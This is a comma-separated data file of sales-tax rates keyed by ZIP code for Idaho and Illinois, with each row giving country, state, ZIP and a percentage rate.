US-ID-83333,US,ID,83333,6,,,, US-ID-83334,US,ID,83334,6,,,, US-ID-83335,US,ID,83335,6,,,, US-ID-83336,US,ID,83336,6,,,, US-ID-83337,US,ID,83337,6,,,, US-ID-83338,US,ID,83338,6,,,, US-ID-83340,US,ID,83340,7,,,, US-ID-83341,US,ID,83341,6,,,, US-ID-83342,US,ID,83342,6,,,, US-ID-83343,US,ID,83343,6,,,, US-ID-83344,US,ID,83344,6,,,, US-ID-83346,US,ID,83346,6,,,, US-ID-83347,US,ID,83347,6,,,, US-ID-83348,US,ID,83348,6,,,, US-ID-83349,US,ID,83349,6,,,, US-ID-83350,US,ID,83350,6,,,, US-ID-83352,US,ID,83352,6,,,, US-ID-83353,US,ID,83353,8,,,, US-ID-83354,US,ID,83354,8,,,, US-ID-83355,US,ID,83355,6,,,, US-ID-83401,US,ID,83401,6,,,, US-ID-83402,US,ID,83402,6,,,, US-ID-83403,US,ID,83403,6,,,, US-ID-83404,US,ID,83404,6,,,, US-ID-83405,US,ID,83405,6,,,, US-ID-83406,US,ID,83406,6,,,, US-ID-83415,US,ID,83415,6,,,, US-ID-83420,US,ID,83420,6,,,, US-ID-83421,US,ID,83421,6,,,, US-ID-83422,US,ID,83422,6,,,, US-ID-83423,US,ID,83423,6,,,, US-ID-83424,US,ID,83424,6,,,, US-ID-83425,US,ID,83425,6,,,, US-ID-83427,US,ID,83427,6,,,, US-ID-83428,US,ID,83428,6,,,, US-ID-83429,US,ID,83429,6,,,, US-ID-83431,US,ID,83431,6,,,, US-ID-83433,US,ID,83433,6,,,, US-ID-83434,US,ID,83434,6,,,, US-ID-83435,US,ID,83435,6,,,, US-ID-83436,US,ID,83436,6,,,, US-ID-83438,US,ID,83438,6,,,, US-ID-83440,US,ID,83440,6,,,, US-ID-83441,US,ID,83441,6,,,, US-ID-83442,US,ID,83442,6,,,, US-ID-83443,US,ID,83443,6,,,, US-ID-83444,US,ID,83444,6,,,, US-ID-83445,US,ID,83445,6,,,, US-ID-83446,US,ID,83446,6,,,, US-ID-83448,US,ID,83448,6,,,, US-ID-83449,US,ID,83449,6,,,, US-ID-83450,US,ID,83450,6,,,, US-ID-83451,US,ID,83451,6,,,, US-ID-83452,US,ID,83452,6,,,, US-ID-83454,US,ID,83454,6,,,, US-ID-83455,US,ID,83455,6,,,, US-ID-83460,US,ID,83460,6,,,, US-ID-83462,US,ID,83462,6,,,, US-ID-83463,US,ID,83463,6,,,, US-ID-83464,US,ID,83464,6,,,, US-ID-83465,US,ID,83465,6,,,, US-ID-83466,US,ID,83466,6,,,, US-ID-83467,US,ID,83467,6,,,, US-ID-83468,US,ID,83468,6,,,, US-ID-83469,US,ID,83469,6,,,, US-ID-83501,US,ID,83501,6.5,,,, US-ID-83520,US,ID,83520,6,,,, US-ID-83522,US,ID,83522,6,,,, US-ID-83523,US,ID,83523,6,,,, US-ID-83524,US,ID,83524,6.5,,,, US-ID-83525,US,ID,83525,6,,,, US-ID-83526,US,ID,83526,6,,,, US-ID-83530,US,ID,83530,6,,,, US-ID-83531,US,ID,83531,6,,,, US-ID-83533,US,ID,83533,6,,,, US-ID-83535,US,ID,83535,6.5,,,, US-ID-83536,US,ID,83536,6,,,, US-ID-83537,US,ID,83537,6,,,, US-ID-83539,US,ID,83539,6,,,, US-ID-83540,US,ID,83540,6.5,,,, US-ID-83541,US,ID,83541,6.5,,,, US-ID-83542,US,ID,83542,6,,,, US-ID-83543,US,ID,83543,6,,,, US-ID-83544,US,ID,83544,6,,,, US-ID-83545,US,ID,83545,6.5,,,, US-ID-83546,US,ID,83546,6,,,, US-ID-83547,US,ID,83547,6,,,, US-ID-83548,US,ID,83548,6.5,,,, US-ID-83549,US,ID,83549,6,,,, US-ID-83552,US,ID,83552,6,,,, US-ID-83553,US,ID,83553,6,,,, US-ID-83554,US,ID,83554,6,,,, US-ID-83555,US,ID,83555,6,,,, US-ID-83601,US,ID,83601,6,,,, US-ID-83602,US,ID,83602,6,,,, US-ID-83604,US,ID,83604,6,,,, US-ID-83605,US,ID,83605,6,,,, US-ID-83606,US,ID,83606,6,,,, US-ID-83607,US,ID,83607,6,,,, US-ID-83610,US,ID,83610,6,,,, US-ID-83611,US,ID,83611,6,,,, US-ID-83612,US,ID,83612,6,,,, US-ID-83615,US,ID,83615,6,,,, US-ID-83616,US,ID,83616,6,,,, US-ID-83617,US,ID,83617,6,,,, US-ID-83619,US,ID,83619,6,,,, US-ID-83622,US,ID,83622,6,,,, US-ID-83623,US,ID,83623,6,,,, US-ID-83624,US,ID,83624,6,,,, US-ID-83626,US,ID,83626,6,,,, US-ID-83627,US,ID,83627,6,,,, US-ID-83628,US,ID,83628,6,,,, US-ID-83629,US,ID,83629,6,,,, US-ID-83630,US,ID,83630,6,,,, US-ID-83631,US,ID,83631,6,,,, US-ID-83632,US,ID,83632,6,,,, US-ID-83633,US,ID,83633,6,,,, US-ID-83634,US,ID,83634,6,,,, US-ID-83635,US,ID,83635,6,,,, US-ID-83636,US,ID,83636,6,,,, US-ID-83637,US,ID,83637,6,,,, US-ID-83638,US,ID,83638,6,,,, US-ID-83639,US,ID,83639,6,,,, US-ID-83641,US,ID,83641,6,,,, US-ID-83642,US,ID,83642,6,,,, US-ID-83643,US,ID,83643,6,,,, US-ID-83644,US,ID,83644,6,,,, US-ID-83645,US,ID,83645,6,,,, US-ID-83646,US,ID,83646,6,,,, US-ID-83647,US,ID,83647,6,,,, US-ID-83648,US,ID,83648,6,,,, US-ID-83650,US,ID,83650,6,,,, US-ID-83651,US,ID,83651,6,,,, US-ID-83652,US,ID,83652,6,,,, US-ID-83653,US,ID,83653,6,,,, US-ID-83654,US,ID,83654,6,,,, US-ID-83655,US,ID,83655,6,,,, US-ID-83656,US,ID,83656,6,,,, US-ID-83657,US,ID,83657,6,,,, US-ID-83660,US,ID,83660,6,,,, US-ID-83661,US,ID,83661,6,,,, US-ID-83666,US,ID,83666,6,,,, US-ID-83669,US,ID,83669,6,,,, US-ID-83670,US,ID,83670,6,,,, US-ID-83671,US,ID,83671,6,,,, US-ID-83672,US,ID,83672,6,,,, US-ID-83676,US,ID,83676,6,,,, US-ID-83677,US,ID,83677,6,,,, US-ID-83680,US,ID,83680,6,,,, US-ID-83686,US,ID,83686,6,,,, US-ID-83687,US,ID,83687,6,,,, US-ID-83701,US,ID,83701,6,,,, US-ID-83702,US,ID,83702,6,,,, US-ID-83703,US,ID,83703,6,,,, US-ID-83704,US,ID,83704,6,,,, US-ID-83705,US,ID,83705,6,,,, US-ID-83706,US,ID,83706,6,,,, US-ID-83707,US,ID,83707,6,,,, US-ID-83708,US,ID,83708,6,,,, US-ID-83709,US,ID,83709,6,,,, US-ID-83711,US,ID,83711,6,,,, US-ID-83712,US,ID,83712,6,,,, US-ID-83713,US,ID,83713,6,,,, US-ID-83714,US,ID,83714,6,,,, US-ID-83715,US,ID,83715,6,,,, US-ID-83716,US,ID,83716,6,,,, US-ID-83717,US,ID,83717,6,,,, US-ID-83719,US,ID,83719,6,,,, US-ID-83720,US,ID,83720,6,,,, US-ID-83722,US,ID,83722,6,,,, US-ID-83724,US,ID,83724,6,,,, US-ID-83725,US,ID,83725,6,,,, US-ID-83726,US,ID,83726,6,,,, US-ID-83728,US,ID,83728,6,,,, US-ID-83729,US,ID,83729,6,,,, US-ID-83731,US,ID,83731,6,,,, US-ID-83732,US,ID,83732,6,,,, US-ID-83735,US,ID,83735,6,,,, US-ID-83756,US,ID,83756,6,,,, US-ID-83799,US,ID,83799,6,,,, US-ID-83801,US,ID,83801,6,,,, US-ID-83802,US,ID,83802,6,,,, US-ID-83803,US,ID,83803,6,,,, US-ID-83804,US,ID,83804,6,,,, US-ID-83805,US,ID,83805,6,,,, US-ID-83806,US,ID,83806,6,,,, US-ID-83808,US,ID,83808,6,,,, US-ID-83809,US,ID,83809,6,,,, US-ID-83810,US,ID,83810,6,,,, US-ID-83811,US,ID,83811,6,,,, US-ID-83812,US,ID,83812,6,,,, US-ID-83813,US,ID,83813,6,,,, US-ID-83814,US,ID,83814,6,,,, US-ID-83815,US,ID,83815,6,,,, US-ID-83816,US,ID,83816,6,,,, US-ID-83821,US,ID,83821,6,,,, US-ID-83822,US,ID,83822,6,,,, US-ID-83823,US,ID,83823,6,,,, US-ID-83824,US,ID,83824,6,,,, US-ID-83825,US,ID,83825,6,,,, US-ID-83826,US,ID,83826,6,,,, US-ID-83827,US,ID,83827,6,,,, US-ID-83830,US,ID,83830,6,,,, US-ID-83832,US,ID,83832,6,,,, US-ID-83833,US,ID,83833,6,,,, US-ID-83834,US,ID,83834,6,,,, US-ID-83835,US,ID,83835,6,,,, US-ID-83836,US,ID,83836,6,,,, US-ID-83837,US,ID,83837,6,,,, US-ID-83839,US,ID,83839,6,,,, US-ID-83840,US,ID,83840,6,,,, US-ID-83841,US,ID,83841,6,,,, US-ID-83842,US,ID,83842,6,,,, US-ID-83843,US,ID,83843,6,,,, US-ID-83844,US,ID,83844,6,,,, US-ID-83845,US,ID,83845,6,,,, US-ID-83846,US,ID,83846,6,,,, US-ID-83847,US,ID,83847,6,,,, US-ID-83848,US,ID,83848,6,,,, US-ID-83849,US,ID,83849,6,,,, US-ID-83850,US,ID,83850,6,,,, US-ID-83851,US,ID,83851,6,,,, US-ID-83852,US,ID,83852,6,,,, US-ID-83853,US,ID,83853,6,,,, US-ID-83854,US,ID,83854,6,,,, US-ID-83855,US,ID,83855,6,,,, US-ID-83856,US,ID,83856,6,,,, US-ID-83857,US,ID,83857,6,,,, US-ID-83858,US,ID,83858,6,,,, US-ID-83860,US,ID,83860,6,,,, US-ID-83861,US,ID,83861,6,,,, US-ID-83864,US,ID,83864,6,,,, US-ID-83865,US,ID,83865,6,,,, US-ID-83866,US,ID,83866,6,,,, US-ID-83867,US,ID,83867,6,,,, US-ID-83868,US,ID,83868,6,,,, US-ID-83869,US,ID,83869,6,,,, US-ID-83870,US,ID,83870,6,,,, US-ID-83871,US,ID,83871,6,,,, US-ID-83872,US,ID,83872,6,,,, US-ID-83873,US,ID,83873,6,,,, US-ID-83874,US,ID,83874,6,,,, US-ID-83876,US,ID,83876,6,,,, US-ID-83877,US,ID,83877,6,,,, US-IL-60002,US,IL,60002,7,,,, US-IL-60004,US,IL,60004,9,,,, US-IL-60005,US,IL,60005,9,,,, US-IL-60006,US,IL,60006,9,,,, US-IL-60007,US,IL,60007,9,,,, US-IL-60008,US,IL,60008,9,,,, US-IL-60009,US,IL,60009,9,,,, US-IL-60010,US,IL,60010,7,,,, US-IL-60011,US,IL,60011,8,,,, US-IL-60012,US,IL,60012,7,,,, US-IL-60013,US,IL,60013,7,,,, US-IL-60014,US,IL,60014,7.75,,,, US-IL-60015,US,IL,60015,8,,,, US-IL-60016,US,IL,60016,9,,,, US-IL-60017,US,IL,60017,9,,,, US-IL-60018,US,IL,60018,9,,,, US-IL-60019,US,IL,60019,9,,,, US-IL-60020,US,IL,60020,7,,,, US-IL-60021,US,IL,60021,7,,,, US-IL-60022,US,IL,60022,8,,,, US-IL-60025,US,IL,60025,8.75,,,, US-IL-60026,US,IL,60026,8.75,,,, US-IL-60029,US,IL,60029,8,,,, US-IL-60030,US,IL,60030,7,,,, US-IL-60031,US,IL,60031,7.5,,,, US-IL-60033,US,IL,60033,7,,,, US-IL-60034,US,IL,60034,7,,,, US-IL-60035,US,IL,60035,8,,,, US-IL-60037,US,IL,60037,7.5,,,, US-IL-60038,US,IL,60038,9,,,, US-IL-60039,US,IL,60039,7.75,,,, US-IL-60040,US,IL,60040,8.5,,,, US-IL-60041,US,IL,60041,7,,,, US-IL-60042,US,IL,60042,7,,,, US-IL-60043,US,IL,60043,8,,,, US-IL-60044,US,IL,60044,8,,,, US-IL-60045,US,IL,60045,7.5,,,, US-IL-60046,US,IL,60046,7,,,, US-IL-60047,US,IL,60047,7.5,,,, US-IL-60048,US,IL,60048,7,,,, US-IL-60050,US,IL,60050,7.5,,,, US-IL-60051,US,IL,60051,7,,,, US-IL-60053,US,IL,60053,9,,,, US-IL-60055,US,IL,60055,9,,,, US-IL-60056,US,IL,60056,9,,,, US-IL-60060,US,IL,60060,8,,,, US-IL-60061,US,IL,60061,7,,,, US-IL-60062,US,IL,60062,8.75,,,, US-IL-60064,US,IL,60064,7,,,, US-IL-60065,US,IL,60065,8.75,,,, US-IL-60067,US,IL,60067,9,,,, US-IL-60068,US,IL,60068,9,,,, US-IL-60069,US,IL,60069,7.5,,,, US-IL-60070,US,IL,60070,8.5,,,, US-IL-60071,US,IL,60071,7,,,, US-IL-60072,US,IL,60072,7,,,, US-IL-60073,US,IL,60073,7.5,,,, US-IL-60074,US,IL,60074,9,,,, US-IL-60075,US,IL,60075,7,,,, US-IL-60076,US,IL,60076,9,,,, US-IL-60077,US,IL,60077,9,,,, US-IL-60078,US,IL,60078,9,,,, US-IL-60079,US,IL,60079,8,,,, US-IL-60081,US,IL,60081,7,,,, US-IL-60082,US,IL,60082,8.75,,,, US-IL-60083,US,IL,60083,7,,,, US-IL-60084,US,IL,60084,7,,,, US-IL-60085,US,IL,60085,8,,,, US-IL-60086,US,IL,60086,7,,,, US-IL-60087,US,IL,60087,8,,,, US-IL-60088,US,IL,60088,7,,,, US-IL-60089,US,IL,60089,8,,,, US-IL-60090,US,IL,60090,9,,,, US-IL-60091,US,IL,60091,8.25,,,, US-IL-60093,US,IL,60093,8,,,, US-IL-60094,US,IL,60094,9,,,, US-IL-60095,US,IL,60095,9,,,, US-IL-60096,US,IL,60096,7,,,, US-IL-60097,US,IL,60097,7,,,, US-IL-60098,US,IL,60098,7,,,, US-IL-60099,US,IL,60099,7,,,, US-IL-60101,US,IL,60101,8.25,,,, US-IL-60102,US,IL,60102,7.75,,,, US-IL-60103,US,IL,60103,8,,,, US-IL-60104,US,IL,60104,9.5,,,, US-IL-60105,US,IL,60105,8.25,,,, US-IL-60106,US,IL,60106,8.25,,,, US-IL-60107,US,IL,60107,9,,,, US-IL-60108,US,IL,60108,7.75,,,, US-IL-60109,US,IL,60109,7,,,, US-IL-60110,US,IL,60110,8.5,,,, US-IL-60111,US,IL,60111,6.25,,,, US-IL-60112,US,IL,60112,7.25,,,, US-IL-60113,US,IL,60113,6.25,,,, US-IL-60115,US,IL,60115,8,,,, US-IL-60116,US,IL,60116,8,,,, US-IL-60117,US,IL,60117,7.75,,,, US-IL-60118,US,IL,60118,8.5,,,, US-IL-60119,US,IL,60119,7,,,, US-IL-60120,US,IL,60120,8.25,,,, US-IL-60121,US,IL,60121,8.25,,,, US-IL-60122,US,IL,60122,8,,,, US-IL-60123,US,IL,60123,8.25,,,, US-IL-60124,US,IL,60124,7,,,, US-IL-60126,US,IL,60126,8,,,, US-IL-60128,US,IL,60128,8,,,, US-IL-60129,US,IL,60129,6.25,,,, US-IL-60130,US,IL,60130,8.5,,,, US-IL-60131,US,IL,60131,8,,,, US-IL-60132,US,IL,60132,8,,,, US-IL-60133,US,IL,60133,8.75,,,, US-IL-60134,US,IL,60134,7.5,,,, US-IL-60135,US,IL,60135,6.25,,,, US-IL-60136,US,IL,60136,8,,,, US-IL-60137,US,IL,60137,8.25,,,, US-IL-60138,US,IL,60138,8.25,,,, US-IL-60139,US,IL,60139,8.25,,,, US-IL-60140,US,IL,60140,7,,,, US-IL-60141,US,IL,60141,8,,,, US-IL-60142,US,IL,60142,7,,,, US-IL-60143,US,IL,60143,7.75,,,, US-IL-60144,US,IL,60144,7,,,, US-IL-60145,US,IL,60145,6.25,,,, US-IL-60146,US,IL,60146,6.25,,,, US-IL-60147,US,IL,60147,7,,,, US-IL-60148,US,IL,60148,8.25,,,, US-IL-60150,US,IL,60150,6.25,,,, US-IL-60151,US,IL,60151,7,,,, US-IL-60152,US,IL,60152,7,,,, US-IL-60153,US,IL,60153,9,,,, US-IL-60154,US,IL,60154,9,,,, US-IL-60155,US,IL,60155,9,,,, US-IL-60156,US,IL,60156,7.75,,,, US-IL-60157,US,IL,60157,7.25,,,, US-IL-60159,US,IL,60159,9,,,, US-IL-60160,US,IL,60160,9.25,,,, US-IL-60161,US,IL,60161,9.25,,,, US-IL-60162,US,IL,60162,9,,,, US-IL-60163,US,IL,60163,9,,,, US-IL-60164,US,IL,60164,9,,,, US-IL-60165,US,IL,60165,9.25,,,, US-IL-60168,US,IL,60168,9,,,, US-IL-60169,US,IL,60169,9,,,, US-IL-60170,US,IL,60170,8.25,,,, US-IL-60171,US,IL,60171,10,,,, US-IL-60172,US,IL,60172,7.25,,,, US-IL-60173,US,IL,60173,9,,,, US-IL-60174,US,IL,60174,8,,,, US-IL-60175,US,IL,60175,7,,,, US-IL-60176,US,IL,60176,8.75,,,, US-IL-60177,US,IL,60177,7.5,,,, US-IL-60178,US,IL,60178,8,,,, US-IL-60179,US,IL,60179,8,,,, US-IL-60180,US,IL,60180,7,,,, US-IL-60181,US,IL,60181,7.75,,,, US-IL-60183,US,IL,60183,7,,,, US-IL-60184,US,IL,60184,7.25,,,, US-IL-60185,US,IL,60185,7.75,,,, US-IL-60186,US,IL,60186,7.75,,,, US-IL-60187,US,IL,60187,8.25,,,, US-IL-60188,US,IL,60188,8,,,, US-IL-60189,US,IL,60189,8.25,,,, US-IL-60190,US,IL,60190,7.25,,,, US-IL-60191,US,IL,60191,8.25,,,, US-IL-60192,US,IL,60192,9,,,, US-IL-60193,US,IL,60193,9,,,, US-IL-60194,US,IL,60194,9,,,, US-IL-60195,US,IL,60195,9,,,, US-IL-60196,US,IL,60196,9,,,, US-IL-60197,US,IL,60197,8,,,, US-IL-60199,US,IL,60199,8,,,, US-IL-60201,US,IL,60201,9,,,, US-IL-60202,US,IL,60202,9,,,, US-IL-60203,US,IL,60203,9,,,, US-IL-60204,US,IL,60204,9,,,, US-IL-60208,US,IL,60208,9,,,, US-IL-60209,US,IL,60209,9,,,, US-IL-60290,US,IL,60290,9.25,,,, US-IL-60301,US,IL,60301,9,,,, US-IL-60302,US,IL,60302,9,,,, US-IL-60303,US,IL,60303,9,,,, US-IL-60304,US,IL,60304,9,,,, US-IL-60305,US,IL,60305,9,,,, US-IL-60399,US,IL,60399,8.25,,,, US-IL-60401,US,IL,60401,7,,,, US-IL-60402,US,IL,60402,9,,,, US-IL-60403,US,IL,60403,8,,,, US-IL-60404,US,IL,60404,8,,,, US-IL-60406,US,IL,60406,8,,,, US-IL-60407,US,IL,60407,6.25,,,, US-IL-60408,US,IL,60408,7,,,, US-IL-60409,US,IL,60409,9,,,, US-IL-60410,US,IL,60410,8,,,, US-IL-60411,US,IL,60411,9,,,, US-IL-60412,US,IL,60412,9,,,, US-IL-60415,US,IL,60415,9,,,, US-IL-60416,US,IL,60416,6.25,,,, US-IL-60417,US,IL,60417,7,,,, US-IL-60419,US,IL,60419,8.5,,,, US-IL-60420,US,IL,60420,6.25,,,, US-IL-60421,US,IL,60421,7,,,, US-IL-60422,US,IL,60422,8,,,, US-IL-60423,US,IL,60423,7,,,, US-IL-60424,US,IL,60424,6.25,,,, US-IL-60425,US,IL,60425,8,,,, US-IL-60426,US,IL,60426,9,,,, US-IL-60428,US,IL,60428,9,,,, US-IL-60429,US,IL,60429,9,,,, US-IL-60430,US,IL,60430,8,,,, US-IL-60431,US,IL,60431,8.75,,,, US-IL-60432,US,IL,60432,8.75,,,, US-IL-60433,US,IL,60433,7,,,, US-IL-60434,US,IL,60434,8.75,,,, US-IL-60435,US,IL,60435,8.75,,,, US-IL-60436,US,IL,60436,8.75,,,, US-IL-60437,US,IL,60437,6.25,,,, US-IL-60438,US,IL,60438,8.5,,,, US-IL-60439,US,IL,60439,8,,,, US-IL-60440,US,IL,60440,8.5,,,, US-IL-60441,US,IL,60441,8,,,, US-IL-60442,US,IL,60442,8,,,, US-IL-60443,US,IL,60443,8,,,, US-IL-60444,US,IL,60444,6.25,,,, US-IL-60445,US,IL,60445,8,,,, US-IL-60446,US,IL,60446,8.5,,,, US-IL-60447,US,IL,60447,6.25,,,, US-IL-60448,US,IL,60448,7.5,,,, US-IL-60449,US,IL,60449,7,,,, US-IL-60450,US,IL,60450,6.25,,,, US-IL-60451,US,IL,60451,8.5,,,, US-IL-60452,US,IL,60452,9,,,, US-IL-60453,US,IL,60453,8.75,,,, US-IL-60454,US,IL,60454,8.75,,,, US-IL-60455,US,IL,60455,9,,,, US-IL-60456,US,IL,60456,8,,,, US-IL-60457,US,IL,60457,8,,,, US-IL-60458,US,IL,60458,8,,,, US-IL-60459,US,IL,60459,8.75,,,, US-IL-60460,US,IL,60460,6.25,,,, US-IL-60461,US,IL,60461,8,,,, US-IL-60462,US,IL,60462,8.75,,,, US-IL-60463,US,IL,60463,8,,,, US-IL-60464,US,IL,60464,8.5,,,, US-IL-60465,US,IL,60465,8,,,, US-IL-60466,US,IL,60466,8,,,, US-IL-60467,US,IL,60467,8.75,,,, US-IL-60468,US,IL,60468,7,,,, US-IL-60469,US,IL,60469,8.5,,,, US-IL-60470,US,IL,60470,6.5,,,, US-IL-60471,US,IL,60471,8.5,,,, US-IL-60472,US,IL,60472,8,,,, US-IL-60473,US,IL,60473,8.5,,,, US-IL-60474,US,IL,60474,6.25,,,, US-IL-60475,US,IL,60475,8,,,, US-IL-60476,US,IL,60476,8,,,, US-IL-60477,US,IL,60477,8,,,, US-IL-60478,US,IL,60478,9.25,,,, US-IL-60479,US,IL,60479,6.25,,,, US-IL-60480,US,IL,60480,9,,,, US-IL-60481,US,IL,60481,7,,,, US-IL-60482,US,IL,60482,9,,,, US-IL-60484,US,IL,60484,8,,,, US-IL-60487,US,IL,60487,8,,,, US-IL-60490,US,IL,60490,8.5,,,, US-IL-60491,US,IL,60491,8,,,, US-IL-60499,US,IL,60499,8.75,,,, US-IL-60501,US,IL,60501,8,,,, US-IL-60502,US,IL,60502,8.25,,,, US-IL-60503,US,IL,60503,8.25,,,, US-IL-60504,US,IL,60504,8.25,,,, US-IL-60505,US,IL,60505,8.25,,,, US-IL-60506,US,IL,60506,8.25,,,, US-IL-60507,US,IL,60507,8.25,,,, US-IL-60510,US,IL,60510,7.5,,,, US-IL-60511,US,IL,60511,7,,,, US-IL-60512,US,IL,60512,7.25,,,, US-IL-60513,US,IL,60513,9,,,, US-IL-60514,US,IL,60514,7.25,,,, US-IL-60515,US,IL,60515,8.25,,,, US-IL-60516,US,IL,60516,8.25,,,, US-IL-60517,US,IL,60517,7.75,,,, US-IL-60518,US,IL,60518,6.5,,,, US-IL-60519,US,IL,60519,7.25,,,, US-IL-60520,US,IL,60520,6.25,,,, US-IL-60521,US,IL,60521,8.25,,,, US-IL-60522,US,IL,60522,7.75,,,, US-IL-60523,US,IL,60523,7.75,,,, US-IL-60525,US,IL,60525,8.25,,,, US-IL-60526,US,IL,60526,8,,,, US-IL-60527,US,IL,60527,7.25,,,, US-IL-60530,US,IL,60530,6.25,,,, US-IL-60531,US,IL,60531,6.5,,,, US-IL-60532,US,IL,60532,7.25,,,, US-IL-60534,US,IL,60534,8,,,, US-IL-60536,US,IL,60536,7.25,,,, US-IL-60537,US,IL,60537,7.25,,,, US-IL-60538,US,IL,60538,7,,,, US-IL-60539,US,IL,60539,7,,,, US-IL-60540,US,IL,60540,7.25,,,, US-IL-60541,US,IL,60541,7.25,,,, US-IL-60542,US,IL,60542,7.5,,,, US-IL-60543,US,IL,60543,7.75,,,, US-IL-60544,US,IL,60544,8.5,,,, US-IL-60545,US,IL,60545,7.25,,,, US-IL-60546,US,IL,60546,9,,,, US-IL-60548,US,IL,60548,6.25,,,, US-IL-60549,US,IL,60549,6.5,,,, US-IL-60550,US,IL,60550,6.25,,,, US-IL-60551,US,IL,60551,6.5,,,, US-IL-60552,US,IL,60552,6.25,,,, US-IL-60553,US,IL,60553,6.25,,,, US-IL-60554,US,IL,60554,8,,,, US-IL-60555,US,IL,60555,8.5,,,, US-IL-60556,US,IL,60556,6.25,,,, US-IL-60557,US,IL,60557,6.5,,,, US-IL-60558,US,IL,60558,8,,,, US-IL-60559,US,IL,60559,7.25,,,, US-IL-60560,US,IL,60560,8.25,,,, US-IL-60561,US,IL,60561,8.25,,,, US-IL-60563,US,IL,60563,7.25,,,, US-IL-60564,US,IL,60564,7.25,,,, US-IL-60565,US,IL,60565,7.25,,,, US-IL-60566,US,IL,60566,7.25,,,, US-IL-60567,US,IL,60567,7.25,,,, US-IL-60568,US,IL,60568,8.25,,,, US-IL-60572,US,IL,60572,8.25,,,, US-IL-60585,US,IL,60585,8.5,,,, US-IL-60586,US,IL,60586,8.75,,,, US-IL-60598,US,IL,60598,8.25,,,, US-IL-60599,US,IL,60599,8.25,,,, US-IL-60601,US,IL,60601,9.25,,,, US-IL-60602,US,IL,60602,9.25,,,, US-IL-60603,US,IL,60603,9.25,,,, US-IL-60604,US,IL,60604,9.25,,,, US-IL-60605,US,IL,60605,9.25,,,, US-IL-60606,US,IL,60606,9.25,,,, US-IL-60607,US,IL,60607,9.25,,,, US-IL-60608,US,IL,60608,9.25,,,, US-IL-60609,US,IL,60609,9.25,,,, US-IL-60610,US,IL,60610,9.25,,,, US-IL-60611,US,IL,60611,9.25,,,, US-IL-60612,US,IL,60612,9.25,,,, US-IL-60613,US,IL,60613,9.25,,,, US-IL-60614,US,IL,60614,9.25,,,, US-IL-60615,US,IL,60615,9.25,,,, US-IL-60616,US,IL,60616,9.25,,,, US-IL-60617,US,IL,60617,9.25,,,, US-IL-60618,US,IL,60618,9.25,,,, US-IL-60619,US,IL,60619,9.25,,,, US-IL-60620,US,IL,60620,9.25,,,, US-IL-60621,US,IL,60621,9.25,,,, US-IL-60622,US,IL,60622,9.25,,,, US-IL-60623,US,IL,60623,9.25,,,, US-IL-60624,US,IL,60624,9.25,,,, US-IL-60625,US,IL,60625,9.25,,,, US-IL-60626,US,IL,60626,9.25,,,, US-IL-60628,US,IL,60628,9.25,,,, US-IL-60629,US,IL,60629,9.25,,,, US-IL-60630,US,IL,60630,9.25,,,, US-IL-60631,US,IL,60631,9.25,,,, US-IL-60632,US,IL,60632,9.25,,,, US-IL-60633,US,IL,60633,9.25,,,, US-IL-60634,US,IL,60634,9.25,,,, US-IL-60636,US,IL,60636,9.25,,,, US-IL-60637,US,IL,60637,9.25,,,, US-IL-60638,US,IL,60638,9.25,,,, US-IL-60639,US,IL,60639,9.25,,,, US-IL-60640,US,IL,60640,9.25,,,, US-IL-60641,US,IL,60641,9.25,,,, US-IL-60642,US,IL,60642,9.25,,,, US-IL-60643,US,IL,60643,9.25,,,, US-IL-60644,US,IL,60644,9.25,,,, US-IL-60645,US,IL,60645,9.25,,,, US-IL-60646,US,IL,60646,9.25,,,, US-IL-60647,US,IL,60647,9.25,,,, US-IL-60649,US,IL,60649,9.25,,,, US-IL-60651,US,IL,60651,9.25,,,, US-IL-60652,US,IL,60652,9.25,,,, US-IL-60653,US,IL,60653,9.25,,,, US-IL-60654,US,IL,60654,9.25,,,, US-IL-60655,US,IL,60655,9.25,,,, US-IL-60656,US,IL,60656,9.25,,,, US-IL-60657,US,IL,60657,9.25,,,, US-IL-60659,US,IL,60659,9.25,,,, US-IL-60660,US,IL,60660,9.25,,,, US-IL-60661,US,IL,60661,9.25,,,, US-IL-60664,US,IL,60664,9.25,,,, US-IL-60666,US,IL,60666,9.25,,,, US-IL-60668,US,IL,60668,9.25,,,, US-IL-60669,US,IL,60669,9.25,,,, US-IL-60670,US,IL,60670,9.25,,,, US-IL-60673,US,IL,60673,9.25,,,, US-IL-60674,US,IL,60674,9.25,,,, US-IL-60675,US,IL,60675,9.25,,,, US-IL-60677,US,IL,60677,9.25,,,, US-IL-60678,US,IL,60678,9.25,,,, US-IL-60680,US,IL,60680,9.25,,,, US-IL-60681,US,IL,60681,9.25,,,, US-IL-60682,US,IL,60682,9.25,,,, US-IL-60685,US,IL,60685,9.25,,,, US-IL-60686,US,IL,60686,9.25,,,, US-IL-60687,US,IL,60687,9.25,,,, US-IL-60688,US,IL,60688,9.25,,,, US-IL-60689,US,IL,60689,9.25,,,, US-IL-60690,US,IL,60690,9.25,,,, US-IL-60691,US,IL,60691,9.25,,,, US-IL-60693,US,IL,60693,9.25,,,, US-IL-60694,US,IL,60694,9.25,,,, US-IL-60695,US,IL,60695,9.25,,,, US-IL-60696,US,IL,60696,9.25,,,, US-IL-60697,US,IL,60697,9.25,,,, US-IL-60699,US,IL,60699,9.25,,,, US-IL-60701,US,IL,60701,8,,,, US-IL-60706,US,IL,60706,9.25,,,, US-IL-60707,US,IL,60707,9,,,, US-IL-60712,US,IL,60712,9,,,, US-IL-60714,US,IL,60714,9.25,,,, US-IL-60803,US,IL,60803,8.75,,,, US-IL-60804,US,IL,60804,9.5,,,, US-IL-60805,US,IL,60805,8.75,,,, US-IL-60827,US,IL,60827,9,,,, US-IL-60901,US,IL,60901,6.25,,,, US-IL-60910,US,IL,60910,6.25,,,, US-IL-60911,US,IL,60911,6.25,,,, US-IL-60912,US,IL,60912,6.25,,,, US-IL-60913,US,IL,60913,6.25,,,, US-IL-60914,US,IL,60914,6.25,,,, US-IL-60915,US,IL,60915,6.25,,,, US-IL-60917,US,IL,60917,6.25,,,, US-IL-60918,US,IL,60918,6.25,,,, US-IL-60919,US,IL,60919,6.25,,,, US-IL-60920,US,IL,60920,6.25,,,, US-IL-60921,US,IL,60921,6.25,,,, US-IL-60922,US,IL,60922,6.25,,,, US-IL-60924,US,IL,60924,6.25,,,, US-IL-60926,US,IL,60926,6.25,,,, US-IL-60927,US,IL,60927,6.25,,,, US-IL-60928,US,IL,60928,6.25,,,, US-IL-60929,US,IL,60929,6.25,,,, US-IL-60930,US,IL,60930,6.25,,,, US-IL-60931,US,IL,60931,6.25,,,, US-IL-60932,US,IL,60932,6.5,,,, US-IL-60933,US,IL,60933,6.25,,,, US-IL-60934,US,IL,60934,6.25,,,, 